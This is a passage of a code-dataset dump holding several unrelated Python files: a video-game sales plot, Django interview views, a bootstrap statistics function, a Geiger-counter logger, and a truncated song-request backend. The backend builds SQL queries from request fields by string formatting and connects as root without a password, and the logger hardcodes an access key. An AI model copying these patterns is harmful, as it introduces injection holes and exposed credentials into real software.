"coring.Serials", "line_number": 227, "usage_type": "name"}, {"api_name": "cbor2.loads", "line_number": 229, "usage_type": "call"}, {"api_name": "kering.DeserializationError", "line_number": 231, "usage_type": "call"}, {"api_name": "coring.Saider", "line_number": 237, "usage_type": "call"}, {"api_name": "kering.ValidationError", "line_number": 240, "usage_type": "call"}, {"api_name": "kering.ValidationError", "line_number": 243, "usage_type": "call"}, {"api_name": "coring.Serials.json", "line_number": 249, "usage_type": "attribute"}, {"api_name": "coring.Serials", "line_number": 249, "usage_type": "name"}, {"api_name": "coring.dumps", "line_number": 250, "usage_type": "call"}, {"api_name": "jsonschema.Draft7Validator.check_schema", "line_number": 277, "usage_type": "call"}, {"api_name": "jsonschema.Draft7Validator", "line_number": 277, "usage_type": "attribute"}, {"api_name": "jsonschema.exceptions", "line_number": 278, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 295, "usage_type": "call"}, {"api_name": "jsonschema.validate", "line_number": 296, "usage_type": "call"}, {"api_name": "jsonschema.exceptions", "line_number": 297, "usage_type": "attribute"}, {"api_name": "jsonschema.exceptions", "line_number": 300, "usage_type": "attribute"}, {"api_name": "json.decoder", "line_number": 303, "usage_type": "attribute"}, {"api_name": "coring.MtrDex.Blake3_256", "line_number": 338, "usage_type": "attribute"}, {"api_name": "coring.MtrDex", "line_number": 338, "usage_type": "name"}, {"api_name": "kering.ValidationError", "line_number": 367, "usage_type": "call"}, {"api_name": "coring.Saider", "line_number": 394, "usage_type": "call"}, {"api_name": "coring.Saider", "line_number": 452, "usage_type": "call"}, {"api_name": "coring.Ids.dollar", "line_number": 452, "usage_type": "attribute"}, {"api_name": "coring.Ids", "line_number": 452, "usage_type": "name"}]} +{"seq_id": "153938511", "text": "import re\nimport plotly\nimport plotly.graph_objs as go\nfrom plotly import tools\nfrom collections import Counter\n\nnan = float('nan')\n\ninput_file = '../filereader/vgsales.csv'\n\n\ndef getYear(line):\n result = re.split(r',', line, maxsplit=1)\n Year = re.findall(r'[1-3][0-9]{3}', result[0])\n return Year[0], result[1]\n\n\ndef getPlatform(line):\n result = re.split(r',', line, maxsplit=1)\n Platform = result[0].strip()\n return Platform, result[1]\n\n\ndef getName(line):\n result = re.split(r',', line, maxsplit=1)\n return result[0], result[1]\n\n\ndef getRank(line):\n result = re.split(r',', line, maxsplit=1)\n return result[0], result[1]\n\n\ncurrent_line = 0\ni = 0\ntry:\n\n with open(input_file, encoding=\"utf8\", mode='r') as file:\n file.readline()\n line_number = 1\n dataset = {}\n for line in file:\n i += 1\n\n columns = line.split(',')\n\n Rank, line = getRank(line)\n Name, line = getName(line)\n Platform, line = getPlatform(line)\n try:\n Year, line = getYear(line)\n except IndexError:\n Year = 'Unknown'\n if Year not in list(dataset.keys()):\n dataset[Year] = {}\n\n if Platform not in list(dataset[Year].keys()):\n dataset[Year][Platform] = dict()\n\n if Name not in dataset[Year][Platform]:\n dataset[Year][Platform][Name] = Rank\n # print(dataset)\n print(dataset)\nexcept IOError:\n print('Error with file', IOError.errno, IOError.strerror)\nexcept ValueError:\n print('Error in line', current_line, ValueError)\n\ninput_file = '../filereader/vgsales.csv'\nwith open(input_file, encoding=\"utf8\", mode='r') as file:\n file.readline()\n\n count_of_game = dict()\n\n for line in file:\n columns = line.split(',')\n Name = columns[1]\n Year = columns[3]\n\n if Year not in count_of_game:\n count_of_game[Year] = list()\n if Name not in count_of_game[Year]:\n count_of_game[Year].append(Name)\n #print(count_of_game)\n\nv = -1\ncount = []\nwhile v != 541:\n v += 1\n count.append(len((count_of_game[Year])[v]))\n\n#print(list(count_of_game.keys()))\n#print(count)\nscat = go.Scatter(x=list(count_of_game.keys()),\n y=count,\n name='Year - count of game')\n\nwith open(input_file, encoding=\"utf8\", mode='r') as file:\n file.readline()\n\n platforms = list()\n\n for line in file:\n columns = line.split(',')\n Platform = columns[2]\n\n platforms.append(Platform)\n #print(platforms)\n\nplatforms1 = Counter(platforms)\n#print(platforms1)\n\npie = go.Pie(labels=list(platforms1.keys()),\n values=list(platforms1.values()))\n\nwith open(input_file, encoding=\"utf8\", mode='r') as file:\n file.readline()\n\n rank = dict()\n\n for line in file:\n columns = line.split(',')\n\n Rank = columns[0]\n Platform = columns[2]\n\n if Platform not in rank:\n rank[Platform] = set()\n\n rank[Platform].add(float(Rank))\n #print(rank)\n\nmax_rank = list()\nfor Platform in rank:\n maximum = max(rank[Platform])\n max_rank.append(maximum)\n#print(max_rank)\n\nbar = go.Bar(x=list(rank.keys()),\n y=max_rank)\n\n'''fig = tools.make_subplots(rows=2, cols=2)\n\nfig.append_trace(bar, 1, 1)\n\n#fig.append_trace(pie, 2, 1)\n\nfig.append_trace(scat, 2, 2)'''\n\nfig={\n 'data':[\n {\n \"values\": list(platforms1.values()),\n \"labels\": list(platforms1.keys()),\n\n \"domain\": {\"x\": [0, .45],\n \"y\":[0.55, 1]},\n\n \"type\": \"pie\"\n },\n\n {\"x\":list(rank.keys()),\n \"y\":max_rank,\n \"xaxis\": \"x2\",\n \"yaxis\": \"y2\",\n \"type\":\"bar\"\n },\n\n {\"x\":list(count_of_game.keys()),\n \"y\":count,\n \"type\": \"scatter\"}\n],\n\"layout\" : go.Layout(\n xaxis=dict(domain=[0, 0.45]), yaxis=dict(domain=[0, 0.45]),\n xaxis2=dict(domain=[0.55, 1]), yaxis2=dict(domain=[0, 0.45], anchor='x2'))}\nplotly.offline.plot(fig, filename=\"myplotly.html\")\n\n\n", "sub_path": "workshop6(1).py", "file_name": "workshop6(1).py", "file_ext": "py", "file_size_in_byte": 4052, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "re.split", "line_number": 13, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 14, "usage_type": "call"}, {"api_name": "re.split", "line_number": 19, "usage_type": "call"}, {"api_name": "re.split", "line_number": 25, "usage_type": "call"}, {"api_name": "re.split", "line_number": 30, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 94, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 94, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 110, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Pie", "line_number": 113, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 113, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 139, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 139, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 173, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 173, "usage_type": "name"}, {"api_name": "plotly.offline.plot", "line_number": 176, "usage_type": "call"}, {"api_name": "plotly.offline", "line_number": 176, "usage_type": "attribute"}]} +{"seq_id": "169267013", "text": "from django.shortcuts import render\nfrom django.views import View\nfrom .models import *\nfrom .forms import *\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect,JsonResponse,HttpResponse\nfrom django.template.loader import render_to_string\nfrom django.template import RequestContext, context\nimport json\n# Create your views here.\n\n\nclass InterviewView(View):\n\n def post(self,request):\n message=[]\n my_form=InterviewForm(request.POST or None)\n if my_form.is_valid():\n title=my_form.cleaned_data['title']\n date=my_form.cleaned_data['date']\n if title==\"\":\n message.append('Title name shouldn\\'t be empty')\n elif date==\"\":\n message.append('Date name shouldn\\'t be empty')\n else:\n my_form.save()\n message.append('Interview added sucessfully')\n msg = render_to_string('messages.html', {'messages':message})\n all_list=InterviewModel.objects.all().order_by('-id')\n interviewlist=render_to_string('interview/interviewlistTbody.html', {'all_list':all_list})\n context={'msg':msg,'interviewlist':interviewlist}\n context=json.dumps(context)\n return HttpResponse(context,content_type='application/json')\n \n\n\ndef interviewlist(request):\n all_list=InterviewModel.objects.all().order_by('-id')\n return render(request, 'interview/interviewlist.html',{'all_list':all_list,'form':InterviewForm})\n\nclass interviewEdit(View):\n def get(self,request,pk):\n inter_view=InterviewModel.objects.get(pk=pk)\n my_form=InterviewForm(instance=inter_view)\n data=render_to_string('interview/interviewedit.html',{'form':my_form,'id':inter_view.id},request=request)\n #data={'id':inter_view.id,'title':inter_view.title,'date':inter_view.date}\n #return JsonResponse(data)\n return HttpResponse(data)\n \n def post(self,request,pk):\n message=[]\n inter_view=InterviewModel.objects.get(pk=pk)\n my_form=InterviewForm(request.POST,request.FILES,instance=inter_view)\n if my_form.is_valid():\n title=my_form.cleaned_data['title']\n date=my_form.cleaned_data['date']\n if title==\"\":\n messages.info(request, 'Title name shouldn\\'t be empty')\n elif date==\"\":\n messages.info(request, 'Date name shouldn\\'t be empty')\n else:\n my_form.save()\n message.append('Interview edited sucessfully')\n msg = render_to_string('messages.html', {'messages':message})\n row=render_to_string('interview/tablerow.html',{'list':inter_view},request=request)\n context={'msg':msg,'row':row}\n context=json.dumps(context)\n return HttpResponse(context,content_type='application/json')\n\ndef deleteInterview(request,pk):\n instance = InterviewModel.objects.get(pk=pk)\n instance.delete()\n messages.info(request, 'Sucessfully deleted')\n return HttpResponseRedirect('/')\n\n\ndef sessionlist(request):\n all_list=Session.objects.all()\n return render(request, 'sessionlist.html',{'all_list':all_list})\n\n\nclass AddSessionView(View):\n def get(self,request):\n return render(request, 'addsession.html',{'form':SessionForm})\n\n def post(self,request):\n my_form=SessionForm(request.POST)\n if my_form.is_valid():\n title=my_form.cleaned_data['title']\n date=my_form.cleaned_data['date']\n applicant=my_form.cleaned_data['aplicant']\n if title==\"\":\n messages.info(request, 'Title name shouldn\\'t be empty')\n elif date==\"\":\n messages.info(request, 'Date name shouldn\\'t be empty')\n else:\n my_form.save()\n return HttpResponseRedirect('/sessionlist')\n \n\nclass sessionEdit(View):\n def get(self,request,pk):\n inter_view=Session.objects.get(pk=pk)\n my_form=SessionForm(instance=inter_view)\n return render(request, 'sessionedit.html',{'form':my_form})\n \n def post(self,request,pk):\n inter_view=Session.objects.get(pk=pk)\n my_form=SessionForm(request.POST,request.FILES,instance=inter_view)\n if my_form.is_valid():\n title=my_form.cleaned_data['title']\n date=my_form.cleaned_data['date']\n messages.info(request, 'Title name shouldn\\'t be empty')\n if title==\"\":\n messages.info(request, 'Title name shouldn\\'t be empty')\n elif date==\"\":\n messages.info(request, 'Date name shouldn\\'t be empty')\n else:\n my_form.save()\n return HttpResponseRedirect('/sessionlist')\n\ndef deletesession(request,pk):\n instance = Session.objects.get(pk=pk)\n instance.delete()\n messages.info(request, 'Sucessfully deleted')\n return HttpResponseRedirect('/sessionlist')", "sub_path": "interview/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5034, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.views.View", "line_number": 13, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 28, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 30, "usage_type": "call"}, {"api_name": "django.template.context", "line_number": 31, "usage_type": "name"}, {"api_name": "django.template.context", "line_number": 32, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 33, "usage_type": "call"}, {"api_name": "django.template.context", "line_number": 33, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 39, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 41, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 48, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 58, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 58, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 60, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 64, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 65, "usage_type": "call"}, {"api_name": "django.template.context", "line_number": 66, "usage_type": "name"}, {"api_name": "django.template.context", "line_number": 67, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 67, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 68, "usage_type": "call"}, {"api_name": "django.template.context", "line_number": 68, "usage_type": "argument"}, {"api_name": "django.contrib.messages.info", "line_number": 73, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 73, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 82, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 93, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 93, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 95, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 95, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 98, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 101, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 105, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 113, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 113, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 115, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 115, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 117, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 117, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 120, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 125, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 125, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 126, "usage_type": "call"}]} +{"seq_id": "348819686", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 26 17:04:38 2020\n\n@author: shamu\n\"\"\"\ndef Pvalue(Vari,Sampling_n,Compo_n):\n from scipy.stats import norminvgauss\n import numpy as np\n from tqdm import tqdm\n # import random\n # random.seed('')\n t,idx,idy = Vari.shape\n R_Vari = np.zeros([Sampling_n,idx,idy]) \n\n x_Mean = np.zeros([idx,idy])\n x_Var = np.zeros_like(x_Mean)\n x_Norminv = np.zeros([2,idx,idy])\n print('Processing...(1/2)')\n for i in tqdm(range(Sampling_n)):\n for j in range(idx):\n for k in range(idy):\n R_num = np.random.randint(low=0,high=t,size=Compo_n)\n R_Vari[i,j,k] = np.squeeze( np.nanmean(Vari[R_num,j,k]) )\n print('Processing...(2/2)')\n for i in range(idx):\n for j in range(idy):\n x_Mean[i,j] = np.nanmean(np.squeeze(R_Vari[:,i,j]))\n x_Var[i,j] = np.sqrt(np.squeeze(R_Vari[:,i,j]).var())\n x_Norminv[:,i,j] = norminvgauss.ppf([.5,.95],x_Mean[i,j],x_Var[i,j])\n return x_Mean, x_Var, x_Norminv\n ", "sub_path": "Ori/psi_package/pvalue.py", "file_name": "pvalue.py", "file_ext": "py", "file_size_in_byte": 1070, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 19, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.squeeze", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 30, "usage_type": "call"}, {"api_name": "scipy.stats.norminvgauss.ppf", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.stats.norminvgauss", "line_number": 31, "usage_type": "name"}]} +{"seq_id": "76581725", "text": "#!/usr/bin/env python3\n\nimport gimpbbio.gpio as gpio\nimport serial\nimport re\nimport http.client\nimport urllib\nimport threading\nimport queue\nimport sys\nimport datetime\nimport time\nimport socket\nimport logging\nimport logging.handlers\nimport argparse\nimport json\nimport Adafruit_BMP.BMP085 as BMP085\n\nclass MyLogger(object):\n\tdef __init__(self, logger, level):\n\t\t\"\"\"Needs a logger and a logger level.\"\"\"\n\t\tself.logger = logger\n\t\tself.level = level\n \n\tdef write(self, message):\n\t\t# Only log if there is a message (not just a new line)\n\t\tif message.rstrip() != \"\":\n\t\t\tself.logger.log(self.level, message.rstrip())\n\nparser = argparse.ArgumentParser(description=\"geiger-counter\")\nparser.add_argument(\"-l\", \"--log\", help=\"file to write log to\")\nparser.add_argument(\"key\", help=\"Phant private key\")\n\nargs = parser.parse_args()\nif args.log:\n\tLOG_LEVEL = logging.INFO # Could be e.g. \"DEBUG\" or \"WARNING\"\n\tLOG_FILENAME = args.log\n \n\tlogger = logging.getLogger(__name__)\n\tlogger.setLevel(LOG_LEVEL)\n\thandler = logging.handlers.TimedRotatingFileHandler(LOG_FILENAME, when=\"midnight\", backupCount=14)\n\tformatter = logging.Formatter('%(asctime)s %(levelname)-8s %(message)s')\n\thandler.setFormatter(formatter)\n\tlogger.addHandler(handler)\n\t\n\tsys.stdout = MyLogger(logger, logging.INFO)\n\tsys.stderr = MyLogger(logger, logging.ERROR)\n\nprint(\"Starting up\")\n\naltitude_in_meters = 112\nphant_url = 'gimp-phant.azurewebsites.net'\nphant_public_key = 'kgkWV69Nqnupn6W9Xbo6'\npressure_samples = []\n\npressure_sampling_lock = threading.Lock()\nqueue = queue.Queue()\n\nuart = gpio.uarts.uart1\nuart.open()\n\n# We have a quarter-second timeout because if we start reading in\n# the middle of a serial message or if a byte is dropped for any\n# reason, we'll throw away the partial message and try again\nser = serial.Serial(port = \"/dev/ttyO1\", baudrate=9600, timeout=0.25) \n\npressure_sensor = BMP085.BMP085(mode=BMP085.BMP085_ULTRAHIGHRES)\n\nheaders = {\n\t\"Phant-Private-Key\": str(args.key),\n\t'Content-Type': 'application/x-www-form-urlencoded'\n}\n\nlogstash_url = 'logstash.saintgimp.org'\nlogstash_headers = {\n \"SaintGimp-Private-Key\": 'banana55',\n 'Content-Type': 'application/json'\n}\n\ndef sendData():\n\twhile True:\n\t\tbody = queue.get()\n\n\t\tsuccess = False\n\t\twhile not success:\n\t\t\ttry:\n\t\t\t\tgeigerData = [(k, v) for k, v in urllib.parse.parse_qsl(body) if k == \"cpm\" or k == \"device_time\"]\n\t\t\t\tgeigerBody = json.dumps(dict(geigerData))\n\t\t\t\tlogstashServer = http.client.HTTPConnection(logstash_url, timeout=10)\n\t\t\t\tlogstashServer.request(method=\"POST\", url=\"/geiger\", body=geigerBody, headers=logstash_headers)\n\t\t\t\tresponse = logstashServer.getresponse()\n\t\t\t\tresponse.read()\n\n\t\t\t\tif response.status == 200:\n\t\t\t\t\tsuccess = True\n\t\t\t\t\tprint(\"Logged to logstash server: \" + geigerBody)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Logstash server returned status \" + str(response.status) + \": \" + response.reason)\n\n\t\t\t\tpressureData = [(k, v) for k, v in urllib.parse.parse_qsl(body) if k == \"pressure\" or k == \"sea_level_pressure\" or k == \"device_time\"]\n\t\t\t\tpressureBody = json.dumps(dict(pressureData))\n\t\t\t\tlogstashServer = http.client.HTTPConnection(logstash_url, timeout=10)\n\t\t\t\tlogstashServer.request(method=\"POST\", url=\"/pressure\", body=pressureBody, headers=logstash_headers)\n\t\t\t\tresponse = logstashServer.getresponse()\n\t\t\t\tresponse.read()\n\n\t\t\t\tif response.status == 200:\n\t\t\t\t\tprint(\"Logged to logstash server: \" + geigerBody)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Logstash server returned status \" + str(response.status) + \": \" + response.reason)\n\n\t\t\texcept (http.client.HTTPException, socket.error) as err:\n\t\t\t\tprint(\"HTTP error: {0}\".format(err))\n\n\t\t\tif not success:\n\t\t\t\ttime.sleep(5)\n\t\t\t\tprint(\"Retrying...\")\n\ndef oncePerMinute():\n\tglobal next_interval_time\n\twhile True:\n\t\ttry:\n\t\t\t# Sleep for the remainder of the time until the next\n\t\t\t# interval, prevents timer drift. The calculated time\n\t\t\t# to sleep could be negative if our clock got updated\n\t\t\t# by ntptime so just sleep one minute in that case.\n\t\t\tnext_interval_time += 60\n\t\t\tsleep_time = next_interval_time - time.time()\n\t\t\tif sleep_time < 0:\n\t\t\t\tsleep_time = 60\n\t\t\ttime.sleep(sleep_time)\n\n\t\t\tdevice_time = str(datetime.datetime.now())\n\t\t\tcurrent_cpm = cpm\n\n\t\t\tpressure = getPressure()\n\t\t\tsea_level_pressure = pressure / pow(1.0 - altitude_in_meters / 44330.0, 5.255)\n\n\t\t\tbody = urllib.parse.urlencode({'cpm': current_cpm, 'device_time': device_time, 'pressure': '{0:0.2f}'.format(pressure), 'sea_level_pressure': '{0:0.2f}'.format(sea_level_pressure)})\n\t\t\tqueue.put_nowait(body)\n\t\texcept:\n\t\t\tprint(\"Unexpected onePerMinute error: {0}\".format(sys.exc_info()[0]))\n\t\telse:\n\t\t\tprint(\"Queued sample\")\n\ndef samplePressure():\n\tglobal pressure_samples\n\twhile True:\n\t\twith pressure_sampling_lock:\n\t\t\tpressure_samples.append(pressure_sensor.read_pressure())\n\ndef getPressure():\n\tglobal pressure_samples\n\twith pressure_sampling_lock:\n\t\tmedian_pressure = median(pressure_samples)\n\t\tpressure_samples = []\n\treturn median_pressure\n\ndef median(number_list):\n\tsorted_list = sorted(number_list)\n\tlength = len(sorted_list)\n\tif not length % 2:\n\t\treturn (sorted_list[length // 2] + sorted_list[length // 2 - 1]) / 2.0\n\telse:\n\t\treturn sorted_list[length // 2]\n\nsocket.setdefaulttimeout(10)\n\nsendThread = threading.Thread(target = sendData)\nsendThread.daemon = True\nsendThread.start()\n\nnext_interval_time = time.time()\n\nsampleThread = threading.Thread(target = oncePerMinute)\nsampleThread.daemon = True\nsampleThread.start()\n\npressureThread = threading.Thread(target = samplePressure)\npressureThread.daemon = True\npressureThread.start()\n\nwhile True:\n\tbytes = ser.read(36)\n\n\tif len(bytes) == 36:\n\t\ttry:\n\t\t\tline1 = bytes[2:18].decode('ascii')\n\t\t\tline2 = bytes[20:36].decode('ascii')\n\t\t\t#print(line1 + \" \" + line2)\n\n\t\t\tcpm = int(re.search(r'CPM:\\s*(\\d+)', line1).group(1))\n\t\texcept (UnicodeDecodeError):\n\t\t\tprint(\"Unicode decoding error!\")\n", "sub_path": "geiger-counter/remote-logging.py", "file_name": "remote-logging.py", "file_ext": "py", "file_size_in_byte": 5813, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 37, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.handlers.TimedRotatingFileHandler", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 42, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 47, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 48, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 48, "usage_type": "attribute"}, {"api_name": "threading.Lock", "line_number": 57, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 58, "usage_type": "call"}, {"api_name": "gimpbbio.gpio.uarts", "line_number": 60, "usage_type": "attribute"}, {"api_name": "gimpbbio.gpio", "line_number": 60, "usage_type": "name"}, {"api_name": "serial.Serial", "line_number": 66, "usage_type": "call"}, {"api_name": "Adafruit_BMP.BMP085.BMP085", "line_number": 68, "usage_type": "call"}, {"api_name": "Adafruit_BMP.BMP085", "line_number": 68, "usage_type": "name"}, {"api_name": "Adafruit_BMP.BMP085.BMP085_ULTRAHIGHRES", "line_number": 68, "usage_type": "attribute"}, {"api_name": "queue.get", "line_number": 83, "usage_type": "call"}, {"api_name": "urllib.parse.parse_qsl", "line_number": 88, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 88, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 89, "usage_type": "call"}, {"api_name": "http.client.client.HTTPConnection", "line_number": 90, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 90, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 90, "usage_type": "name"}, {"api_name": "urllib.parse.parse_qsl", "line_number": 101, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 101, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 102, "usage_type": "call"}, {"api_name": "http.client.client.HTTPConnection", "line_number": 103, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 103, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 103, "usage_type": "name"}, {"api_name": "http.client.client", "line_number": 113, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 113, "usage_type": "name"}, {"api_name": "socket.error", "line_number": 113, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 132, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 134, "usage_type": "attribute"}, {"api_name": "urllib.parse.urlencode", "line_number": 140, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 140, "usage_type": "attribute"}, {"api_name": "queue.put_nowait", "line_number": 141, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 143, "usage_type": "call"}, {"api_name": "socket.setdefaulttimeout", "line_number": 168, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 170, "usage_type": "call"}, {"api_name": "time.time", "line_number": 174, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 176, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 180, "usage_type": "call"}, {"api_name": "re.search", "line_number": 193, "usage_type": "call"}]} +{"seq_id": "473273561", "text": "#coding=utf-8\n# 体育节2020点歌系统Python后端\n\nimport json\nimport time\nimport requests\nimport random\nimport pymysql as mdb\n\ncold_time=15*60\npool_time=2*60*60\n\n#数据库操作，传入操作字符串，返回套着字典的列表\ndef query_sql(sql):\n con=mdb.connect('localhost','root','','ours',charset='utf8')\n cur=con.cursor()\n cur.execute(sql)\n con.commit()\n con.close()\n des=cur.description\n l=[]\n for row in cur.fetchall():\n dis={}\n for i in range(len(cur.description)):\n dis[cur.description[i][0]]=row[i]\n l.append(dis)\n return l\n\n#发送qq信息\ndef send_qq(qq,msg):\n data={'user_id':qq,'message':msg+\"\\n\\n〔学联宣传网络部〕\"}\n requests.post(\"http://127.0.0.1:5700/send_msg/\",data=data)\n with open(\"send_qq.log\",\"a\") as f: f.write(json.dumps(data,ensure_ascii=False)+\"\\n\\n\")\n\n#检查点歌冷却时间\ndef check_cold_time(qq):\n r=query_sql(\"select max(submit_time) as time from music where qq='{}'\".format(qq))\n if r[0]['time'] and r[0]['time']>time.time()-cold_time: return False\n return True\n\n#提交点歌\ndef submit(dic):\n data=dic['data']\n if check_cold_time(dic['qq']):\n sql=\"INSERT INTO music(mid,qq,data,status,submit_time)VALUES( \\\n '{}','{}','{}',1,{})\".format(data['mid'],dic['qq'], \\\n mdb.escape_string(json.dumps(data,ensure_ascii=False)),int(time.time()))\n r=query_sql(sql)\n send_qq(dic['qq'],\"小苏收到(･∀･)\\n歌曲审核成功后将会通知您，欢迎访问 suours.com 探索更多~\")\n else: send_qq(dic['qq'],\"( ´_ゝ｀)\\n15分钟内只能点一首歌呢....\")\n\n#查询点歌\ndef query(dic):\n try:\n if dic['type']=='split':\n sql=\"select * from music order by id desc limit {} offset {}\".format(dic['limit'],dic['offset'])\n r=query_sql(sql)\n return {'status':'ok','data':r,'len':len(r)}\n \n if dic['type']=='merge_time':\n sql=\"select * from music where status=4 order by play_time desc limit {} offset {}\".format(dic['limit'],dic['offset'])\n r=query_sql(sql)\n return {'status':'ok','data':r,'len':len(r)}\n \n if dic['type']=='merge_num':\n sql=\"select mid,count(*) as ct,max(data) as data from music group by mid order by ct desc,max(id) desc limit {} offset {}\".format(dic['limit'],dic['offset'])\n r=query_sql(sql)\n return {'status':'ok','data':r,'len':len(r)}\n\n if dic['type']=='statis':\n sql=\"select count(status=1 or null) as waiting,count(judge_time>={} and status=2 or null) as pool,count(*) as total from music;\".format(int(time.time()-pool_time))\n r=query_sql(sql)\n return {'status':'ok','data':r[0]}\n \n return {'status':'error'}\n except:\n return {'status':'error'}\n\n\n#审核点歌\ndef judge(dic):\n try:\n sql=\"update music set status={},judge_time={} where id={}\".format(dic['status'],int(time.time()),dic['id'])\n r=query_sql(sql)\n \n if dic['status']==2: send_qq(dic['qq'],\"您的歌曲[{}]审核通过啦~\\n_(:з」∠)_将在接下来两个小时内随机播放。访问 suours.com/music 查看点歌榜单及播放列表，祝您体育节玩得开心！\".format(dic['name']))\n if dic['status']==3: 